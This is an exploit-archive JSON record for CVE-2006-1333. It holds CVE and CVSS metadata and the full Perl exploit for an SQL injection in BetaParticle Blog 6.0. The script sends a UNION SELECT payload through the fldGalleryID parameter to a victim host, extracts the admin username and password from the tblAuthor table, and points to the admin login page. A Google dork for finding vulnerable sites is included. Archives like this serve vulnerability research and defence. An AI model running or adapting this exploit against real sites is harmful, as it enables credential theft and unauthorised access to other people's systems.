{"exploit":{"id":"EDB-1589","name":"BetaParticle Blog 6.0 - 'fldGalleryID' SQL Injection (SQLi)","description":"BetaParticle Blog 6.0 - 'fldGalleryID' SQL Injection (SQLi)","cves":["CVE-2006-1333"],"author":"nukedx","published":"2006-03-18","platform":"asp","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1589","path":"exploits/asp/webapps/1589.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1589.pl","vulnerabilities":[{"id":"CVE-2006-1333","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in BetaParticle Blog 6.0 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) id parameter to template_permalink.asp or (2) fldGalleryID parameter to template_gallery_detail.asp.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1333","cvss":{"version":"2.0","baseScore":6.4,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1333"},"updatedAt":"2024-08-07T17:03:29.046Z","retrievedAt":"2026-11-26T23:09:33.590Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1589.png?v=2","url":"https://exploitbin.com/exploits/EDB-1589","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1589/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1589/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#Method found & Exploit scripted by nukedx\n#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com\n#Original advisory: http://www.nukedx.com/?viewdoc=20\n#Usage: beta.pl <host> <path>\n#googledork: [ \"Powered by bp blog\" ] 9.710 pages..\nuse IO::Socket;\nif(@ARGV != 2) { usage(); }\nelse { exploit(); }\nsub header()\n{\n  print \"\\n- NukedX Security Advisory Nr.2006-20\\r\\n\";\n  print \"- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\\r\\n\";\n}\nsub usage()\n{\n  header();\n  print \"- Usage: $0 <host> <path>\\r\\n\";\n  print \"- <host> -> Victim's host ex: www.victim.com\\r\\n\";\n  print \"- <path> -> Path to BetaParticle ex: /blog\\r\\n\";\n  exit();\n}\nsub exploit () {\n  #Our variables...\n  $bpserver = $ARGV[0];\n  $bpserver =~ s/(http:\\/\\/)//eg;\n  $bphost   = \"http://\".$bpserver;\n  $bpdir    = $ARGV[1];\n  $bpport   = \"80\";\n  $bptar    = \"template_gallery_detail.asp?fldGalleryID=\";\n  $bpfinal  = \"main.asp\";\n  $bpxp     = \"-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1\";\n  $bpreq    = $bphost.$bpdir.$bptar.$bpxp;\n  #Sending data...\n  header();\n  print \"- Trying to connect: $bpserver\\r\\n\";\n  $bp = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$bpserver\", PeerPort => \"$bpport\") || die \"- Connection failed...\\n\";\n  print $bp \"GET $bpreq HTTP/1.1\\n\";\n  print $bp \"Accept: */*\\n\";\n  print $bp \"Referer: $bphost\\n\";\n  print $bp \"Accept-Language: tr\\n\";\n  print $bp \"User-Agent: NukeZilla 4.3\\n\";\n  print $bp \"Cache-Control: no-cache\\n\";\n  print $bp \"Host: $bpserver\\n\";\n  print $bp \"Connection: close\\n\\n\";\n  print \"- Connected...\\r\\n\";\n  while ($answer = <$bp>) {\n    if ($answer =~ /<h3>(.*?)<\\/h3>/) {\n      print \"- Exploit succeed! Getting admin's information\\r\\n\";\n      print \"- Username: $1\\r\\n\";\n    }\n    if ($answer =~ /<p>(.*?)<\\/p>/) {\n      print \"- Password: $1\\r\\n\";\n      print \"- Lets go $bphost$bpdir$bpfinal for admin login.\\r\\n\";\n      exit();\n    }\n    if ($answer =~ /number of columns/) {\n      print \"- This version of BetaParticle is vulnerable too\\r\\n\";\n      print \"- but default query of SQL-Inj. does not work on it\\r\\n\";\n      print \"- So please edit query by manually adding null data..\\r\\n\";\n      exit();\n    }\n  }\n  print \"- Exploit failed\\n\"\n}\n\n# milw0rm.com [2006-03-18]","sha256":"17eb40ab9110e9d59713ae834988ac89664a68ea106ee58909af31de2c0ea21b","bytes":2294,"fetchedAt":"2026-11-26T23:09:28.571Z","encoding":"utf-8 (display only; download retains original bytes)"}